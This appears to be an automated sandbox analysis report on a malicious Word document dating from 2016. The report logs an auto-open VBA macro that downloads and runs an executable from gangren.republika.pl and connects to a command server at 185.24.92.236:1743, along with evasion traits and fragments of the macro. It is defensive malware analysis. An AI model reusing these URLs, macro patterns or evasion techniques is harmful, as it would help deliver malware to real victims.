Analysis Report

Overview

General Information

Analysis ID:	99898
Start time:	11:32:44
Start date:	01/02/2016
Overall analysis duration:	0h 25m 17s
Report type:	full
Sample file name:	7fcefe7cb40b5167fe6fbdcd4cf94412dbde8f4d5d9fcec8715c198bcb544e0c.bin (renamed file extension from bin to doc)
Cookbook file name:	defaultwindowsdocumentcookbook.jbs
Analysis system description:	Windows 7 (Office 2003 SP1, Java 1.8.0_40, Flash 16.0.0.305, Acrobat Reader 11.0.08, Internet Explorer 11, Chrome 41, Firefox 36)
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	2
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies	HCA enabled EGA enabled
Detection:	MAL
Classification:	mal88.evad.expl.troj.winDOC@4/9@1/3
HCA Informations:	Success: true, ratio: 100% Number of executed functions: 14 Number of non-executed functions: 0
EGA Information:	Success: true, ratio: 50%
Cookbook Comments:	Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): spsys.sys, asyncmac.sys, conhost.exe, WMIADAP.exe, dllhost.exe Execution Graph export aborted for target WINWORD.EXE, PID 2596 because there are no executed function

Detection

Strategy	Score	Range	Reporting	Detection
Threshold	88	0 - 100	Report FP / FN

Classification

Analysis Advice

Sample drops PE files which have not been started, submit dropped PE samples for a secondary analysis to Joe Sandbox

Sample sleeps for a long time, analyze it with the fake sleep cookbook

Signature Overview

Click to jump to signature section

Software Vulnerablities:

Potential document exploit detected (performs DNS queries)

Show sources

Source: global traffic

DNS query: name: gangren.republika.pl

Potential document exploit detected (performs HTTP gets)

Show sources

Source: global traffic

TCP traffic: 192.168.1.12:49175 -> 213.180.150.17:80

Potential document exploit detected (unknown TCP traffic)

Show sources

Source: global traffic

TCP traffic: 192.168.1.12:49175 -> 213.180.150.17:80

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Process created: C:\Users\admin\AppData\Local\Temp\perdoma.exe

Document exploit detected (creates forbidden files)

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

File created: C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LUGXQY9O\k76j5hg[1].exe

Document exploit detected (dops PE files)

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

File created: k76j5hg[1].exe.2596.dr

Networking:

Urls found in memory or binary data

Show sources

Source: WINWORD.EXE	String found in binary or memory: file://
Source: WINWORD.EXE	String found in binary or memory: file:///c:
Source: WINWORD.EXE	String found in binary or memory: file:///c:/users/admin/appdata/local/temp/perdoma.exe
Source: WINWORD.EXE	String found in binary or memory: file://page
Source: WINWORD.EXE	String found in binary or memory: file://unicows.dll???.???ly27ry27
Source: WINWORD.EXE	String found in binary or memory: http://
Source: WINWORD.EXE	String found in binary or memory: http://%s/r/rlidstmapurl?clid=%d&#http://%s/r/rlidstdriveurl?clid=%d&
Source: WINWORD.EXE	String found in binary or memory: http://)file
Source: WINWORD.EXE	String found in binary or memory: http://)web
Source: perdoma.exe	String found in binary or memory: http://crl.comodo.net/utn-userfirst-hardware.crl0q
Source: perdoma.exe	String found in binary or memory: http://crl.comodoca.com/utn-userfirst-hardware.crl06
Source: perdoma.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: perdoma.exe	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: WINWORD.EXE	String found in binary or memory: http://crl.microsoft.com/pki/crl/products/codesignpca.crl0
Source: perdoma.exe	String found in binary or memory: http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0
Source: perdoma.exe	String found in binary or memory: http://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0
Source: perdoma.exe	String found in binary or memory: http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z
Source: perdoma.exe	String found in binary or memory: http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t
Source: perdoma.exe	String found in binary or memory: http://crl.pkioverheid.nl/domorganisatielatestcrl-g2.crl0
Source: perdoma.exe	String found in binary or memory: http://crl.pkioverheid.nl/domovlatestcrl.crl0
Source: perdoma.exe	String found in binary or memory: http://crl.usertrust.com/utn-userfirst-object.crl0)
Source: perdoma.exe	String found in binary or memory: http://crl.verisign.com/pca3.crl0
Source: WINWORD.EXE	String found in binary or memory: http://crl.verisign.com/thawtetimestampingca.crl0
Source: WINWORD.EXE	String found in binary or memory: http://crl.verisign.com/tss-ca.crl0
Source: perdoma.exe	String found in binary or memory: http://crt.comodoca.com/utnaddtrustserverca.crt0$
Source: perdoma.exe	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: perdoma.exe	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: perdoma.exe	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab1j
Source: perdoma.exe	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?65fb043de95cc
Source: perdoma.exe	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: perdoma.exe	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?ff63e5b
Source: perdoma.exe	String found in binary or memory: http://cybertrust.omniroot.com/repository.cfm0
Source: WINWORD.EXE	String found in binary or memory: http://ftp://mailto:gopher://
Source: WINWORD.EXE	String found in binary or memory: http://gangren.republika.pl/u56gf2d/k76j5hg.exe
Source: WINWORD.EXE	String found in binary or memory: http://gangren.republika.pl/u56gf2d/k76j5hg.exe7
Source: WINWORD.EXE	String found in binary or memory: http://gangren.republika.pl/u56gf2d/k76j5hg.exefo$g
Source: WINWORD.EXE	String found in binary or memory: http://go.microsoft.com/fwlink/?linkid=125824-http://go.microsoft.com/fwlink/?linkid=125723-http://g
Source: perdoma.exe	String found in binary or memory: http://go.microsoft.com/fwlink/?linkid=92362.
Source: perdoma.exe	String found in binary or memory: http://logo.verisign.com/vslogo.gif0
Source: perdoma.exe	String found in binary or memory: http://microsoft.com0
Source: WINWORD.EXE	String found in binary or memory: http://moneycentral.msn.com/investor/external/excel/quotes.asp?symbol=5cannot
Source: WINWORD.EXE	String found in binary or memory: http://msdn.microsoft.com/developer/default.htm
Source: WINWORD.EXE	String found in binary or memory: http://myserver/myfolder)the
Source: WINWORD.EXE	String found in binary or memory: http://myserver/myfolder/newsitename)select
Source: WINWORD.EXE	String found in binary or memory: http://myserver/public/.
Source: WINWORD.EXE	String found in binary or memory: http://myserver/public/.cannot
Source: perdoma.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: perdoma.exe	String found in binary or memory: http://ocsp.comodoca.com0%
Source: perdoma.exe	String found in binary or memory: http://ocsp.comodoca.com0-
Source: perdoma.exe	String found in binary or memory: http://ocsp.comodoca.com0/
Source: perdoma.exe	String found in binary or memory: http://ocsp.comodoca.com05
Source: perdoma.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: perdoma.exe	String found in binary or memory: http://ocsp.entrust.net0d
Source: WINWORD.EXE	String found in binary or memory: http://ocsp.verisign.com0
Source: WINWORD.EXE	String found in binary or memory: http://office.microsoft.com
Source: WINWORD.EXE	String found in binary or memory: http://office.microsoft.comspeech
Source: WINWORD.EXE	String found in binary or memory: http://officeupdate.microsoft.com
Source: WINWORD.EXE	String found in binary or memory: http://subscription/url/ms.comproductactivation.one.microsoft.com
Source: WINWORD.EXE	String found in binary or memory: http://support.microsoft.com/support/misc/kblookup.asp?id=q302596
Source: WINWORD.EXE	String found in binary or memory: http://support.microsoft.com/support/misc/kblookup.asp?id=q302596pad
Source: perdoma.exe	String found in binary or memory: http://ww
Source: perdoma.exe	String found in binary or memory: http://wwertr
Source: perdoma.exe	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: perdoma.exe	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: WINWORD.EXE	String found in binary or memory: http://www.microsoft.com
Source: WINWORD.EXE	String found in binary or memory: http://www.microsoft.com.windows
Source: WINWORD.EXE	String found in binary or memory: http://www.microsoft.com/isapi/redir.dll?prd=&sbp=&plcid=&pver=&os=&over=&olcid=&clcid=&ar=&sba=&o1=
Source: WINWORD.EXE	String found in binary or memory: http://www.microsoft.com/netmeeting/.
Source: perdoma.exe	String found in binary or memory: http://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0
Source: perdoma.exe	String found in binary or memory: http://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0
Source: perdoma.exe	String found in binary or memory: http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07
Source: perdoma.exe	String found in binary or memory: http://www.microsoft.com/pki/certs/microsoftrootcert.crt0
Source: perdoma.exe	String found in binary or memory: http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl
Source: WINWORD.EXE	String found in binary or memory: http://www.officenet.net/
Source: perdoma.exe	String found in binary or memory: http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0
Source: perdoma.exe	String found in binary or memory: http://www.public-trust.com/cps/omniroot.html0
Source: perdoma.exe	String found in binary or memory: http://www.usertrust.com1
Source: WINWORD.EXE	String found in binary or memory: http://www.w3.org/tr/wd-xsl
Source: perdoma.exe	String found in binary or memory: https://185.24.92.236:1743/
Source: perdoma.exe	String found in binary or memory: https://185.24.92.236:1743/$
Source: perdoma.exe	String found in binary or memory: https://secure.comodo.com/cps0
Source: perdoma.exe	String found in binary or memory: https://www.verisign.com/cps04
Source: perdoma.exe	String found in binary or memory: https://www.verisign.com/repository/cps
Source: perdoma.exe	String found in binary or memory: https://www.verisign.com/repository/verisignlogo.gif0d
Source: perdoma.exe	String found in binary or memory: https://www.verisign.com/rpa0
Source: perdoma.exe	String found in binary or memory: https://www.verisign.com;

Downloads files

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

File created: C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LUGXQY9O\k76j5hg[1].exe

Downloads files from webservers via HTTP

Show sources

Source: global traffic

HTTP traffic detected: GET /u56gf2d/k76j5hg.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) Host: gangren.republika.pl Connection: Keep-Alive

Found strings which match to known social media urls

Show sources

Source: perdoma.exe	String found in binary or memory: login.yahoo.com equals www.yahoo.com (Yahoo)
Source: perdoma.exe	String found in binary or memory: login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: perdoma.exe	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: WINWORD.EXE, perdoma.exe	String found in binary or memory: yahoo.com equals www.yahoo.com (Yahoo)

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: gangren.republika.pl

Downloads executable code via HTTP

Show sources

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OK Server: nginx/0.8.54 Date: Mon, 01 Feb 2016 10:55:02 GMT Content-Type: application/octet-stream Connection: keep-alive Content-Length: 213504 Last-Modified: Mon, 01 Feb 2016 08:06:13 GMT Accept-Ranges: bytes Age: 578 X-Cache: HIT from localhost X-Cache-Lookup: HIT from localhost:81 Via: 1.1 rep3.m10r2.onet:81 (squid/2.7.STABLE9) Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 fd 3c b3 c4 b9 5d dd 97 b9 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$<]

Uses a known web browser user agent for HTTP communication

Show sources

Source: global traffic

Detected TCP or UDP traffic on non-standard ports

Show sources

Source: global traffic

TCP traffic: 192.168.1.12:49176 -> 185.24.92.236:1743

Persistence and Installation Behavior:

Drops PE files

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	File created: C:\Users\admin\AppData\Local\Temp\perdoma.exe
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	File created: C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LUGXQY9O\k76j5hg[1].exe

Data Obfuscation:

Generates new code (likely due to unpacking of malware or shellcode)

Show sources

Source: C:\Users\admin\AppData\Local\Temp\perdoma.exe

Code execution: Found new code

PE file contains an invalid checksum

Show sources

Source: perdoma.exe.2596.dr	Static PE information: real checksum: 0x0 should be: 0x39226
Source: k76j5hg[1].exe.2596.dr	Static PE information: real checksum: 0x0 should be: 0x39226

PE file contains sections with non-standard names

Show sources

Source: k76j5hg[1].exe.2596.dr	Static PE information: section name: kK
Source: k76j5hg[1].exe.2596.dr	Static PE information: section name: e
Source: k76j5hg[1].exe.2596.dr	Static PE information: section name: %AP
Source: k76j5hg[1].exe.2596.dr	Static PE information: section name: u7
Source: perdoma.exe.2596.dr	Static PE information: section name: kK
Source: perdoma.exe.2596.dr	Static PE information: section name: e
Source: perdoma.exe.2596.dr	Static PE information: section name: %AP
Source: perdoma.exe.2596.dr	Static PE information: section name: u7

System Summary:

Executable creates window controls seldom found in malware

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Window found: window name: SysTabControl32

Checks if Microsoft Office is installed

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Key opened: HKEY_USERS\Software\Microsoft\Office\11.0\Word\Resiliency\StartupItems

Binary contains paths to debug symbols

Show sources

Source:	Binary string: wwintl.pdb source: WINWORD.EXE
Source:	Binary string: fname.pdbbuildlab1\otools\BBT_TEMP\FNAMEO.pdb source: WINWORD.EXE
Source:	Binary string: stintl.pdbfice\11.0\5510.0\setup\X86\ship\Files\PFiles\Common\MSShared\smarttag\1033\stintl.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: WINWORD.EXE
Source:	Binary string: stintl.pdb source: WINWORD.EXE
Source:	Binary string: buildlab1\otools\BBT_TEMP\FNAMEO.pdb source: WINWORD.EXE
Source:	Binary string: msointl.pdbvsplab1\otools\BBT_TEMP\MSOINTLO.pdb source: WINWORD.EXE
Source:	Binary string: wwintl.pdbevsplab1\otools\BBT_TEMP\WWINTLO.pdb source: WINWORD.EXE
Source:	Binary string: vsplab1\otools\BBT_TEMP\MSOINTLO.pdb source: WINWORD.EXE
Source:	Binary string: evsplab1\otools\BBT_TEMP\WWINTLO.pdb source: WINWORD.EXE
Source:	Binary string: msointl.pdb source: WINWORD.EXE
Source:	Binary string: fice\11.0\5510.0\setup\X86\ship\Files\PFiles\Common\MSShared\smarttag\1033\stintl.pdb source: WINWORD.EXE
Source:	Binary string: fname.pdb source: WINWORD.EXE

Binary contains paths to development resources

Show sources

Source: WINWORD.EXE

Binary or memory string: Unrecognized project languageSThe .VBP file for this project contains an invalid or corrupt library references ID=Error accessing file. Network connection may have been lost.-Fixed or static data can't be larger than 64K

Classification label

Show sources

Source: classification engine

Classification label: mal88.evad.expl.troj.winDOC@4/9@1/3

Creates files inside the user directory

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

File created: C:\Users\admin\Application Data\Microsoft\Forms

Creates temporary files

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

File created: C:\Users\admin\AppData\Local\Temp\~DF1F68E4B7943281C7.TMP

Document contains an OLE Word Document stream indicating a Microsoft Word file

Show sources

Source: 7fcefe7cb40b5167fe6fbdcd4cf94412dbde8f4d5d9fcec8715c198bcb544e0.doc

OLE indicator, Word Document stream: true

Reads ini files

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

File read: C:\Users\desktop.ini

Reads software policies

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Spawns processes

Show sources

Source: unknown	Process created: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE
Source: unknown	Process created: C:\Users\admin\AppData\Local\Temp\perdoma.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process created: C:\Users\admin\AppData\Local\Temp\perdoma.exe C:\Users\admin\AppData\Local\Temp\perdoma.exe

Uses an in-process (OLE) Automation server

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{529A9E6B-6587-4F23-AB9E-9C7D683E3C50}\InProcServer32

PE file has a writable .reloc section

Show sources

Source: k76j5hg[1].exe.2596.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
Source: perdoma.exe.2596.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Document contains embedded VBA macros

Show sources

Source: 7fcefe7cb40b5167fe6fbdcd4cf94412dbde8f4d5d9fcec8715c198bcb544e0.doc

OLE indicator, VBA macros: true

Document contains summary information with irregular field values

Show sources

Source: 7fcefe7cb40b5167fe6fbdcd4cf94412dbde8f4d5d9fcec8715c198bcb544e0.doc

OLE document summary: title field not present or empty

PE file contains strange resources

Show sources

Source: k76j5hg[1].exe.2596.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: k76j5hg[1].exe.2596.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: k76j5hg[1].exe.2596.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: perdoma.exe.2596.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: perdoma.exe.2596.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: perdoma.exe.2596.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Reads the hosts file

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\admin\AppData\Local\Temp\perdoma.exe	File read: C:\Windows\System32\drivers\etc\hosts

Document contains an embedded VBA macro which executes code when the document is opened / closed

Show sources

Source: 7fcefe7cb40b5167fe6fbdcd4cf94412dbde8f4d5d9fcec8715c198bcb544e0.doc

OLE, VBA macro line: Sub autoopen()

Document contains an embedded VBA macro with suspicious strings

Show sources

Source: 7fcefe7cb40b5167fe6fbdcd4cf94412dbde8f4d5d9fcec8715c198bcb544e0.doc	OLE, VBA macro line: Set ShaBADA1_1 = CreateObject(mandata(0))
Source: 7fcefe7cb40b5167fe6fbdcd4cf94412dbde8f4d5d9fcec8715c198bcb544e0.doc	OLE, VBA macro line: Set ShaBADA1_2 = CreateObject(mandata(1))
Source: 7fcefe7cb40b5167fe6fbdcd4cf94412dbde8f4d5d9fcec8715c198bcb544e0.doc	OLE, VBA macro line: Set ShaBADA1_6 = CreateObject(mandata(2))
Source: 7fcefe7cb40b5167fe6fbdcd4cf94412dbde8f4d5d9fcec8715c198bcb544e0.doc	OLE, VBA macro line: Set hokuk = CreateObject(mandata(3))
Source: 7fcefe7cb40b5167fe6fbdcd4cf94412dbde8f4d5d9fcec8715c198bcb544e0.doc	OLE, VBA macro line: Set ShaBADA1_3 = hokuk.Environment(mandata(4))

PE file contains more sections than normal

Show sources

Source: perdoma.exe.2596.dr	Static PE information: Number of sections : 12 > 10
Source: k76j5hg[1].exe.2596.dr	Static PE information: Number of sections : 12 > 10

PE file contains section with special chars

Show sources

Source: k76j5hg[1].exe.2596.dr	Static PE information: section name: %AP
Source: perdoma.exe.2596.dr	Static PE information: section name: %AP

HIPS / PFW / Operating System Protection Evasion:

May try to detect the Windows Explorer process (often used for injection)

Show sources

Source: WINWORD.EXE, perdoma.exe	Binary or memory string: Shell_TrayWnd@
Source: WINWORD.EXE, perdoma.exe	Binary or memory string: Progman
Source: WINWORD.EXE, perdoma.exe	Binary or memory string: Program Manager
Source: WINWORD.EXE, perdoma.exe	Binary or memory string: Shell_TrayWnd

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Network Connect: 213.180.150.17 80

Anti Debugging:

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

System information queried: KernelDebuggerInformation

Malware Analysis System Evasion:

Checks the free space of harddrives

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

File Volume queried: C:\Windows\System32 FullSizeInformation

Found dropped PE file which has not been started or loaded

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Dropped PE file which has not been started: C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LUGXQY9O\k76j5hg[1].exe

May sleep (evasive loops) to hinder dynamic analysis

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE TID: 2652	Thread sleep time: -60000ms >= -60000ms
Source: C:\Users\admin\AppData\Local\Temp\perdoma.exe TID: 844	Thread sleep time: -60000ms >= -60000ms

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
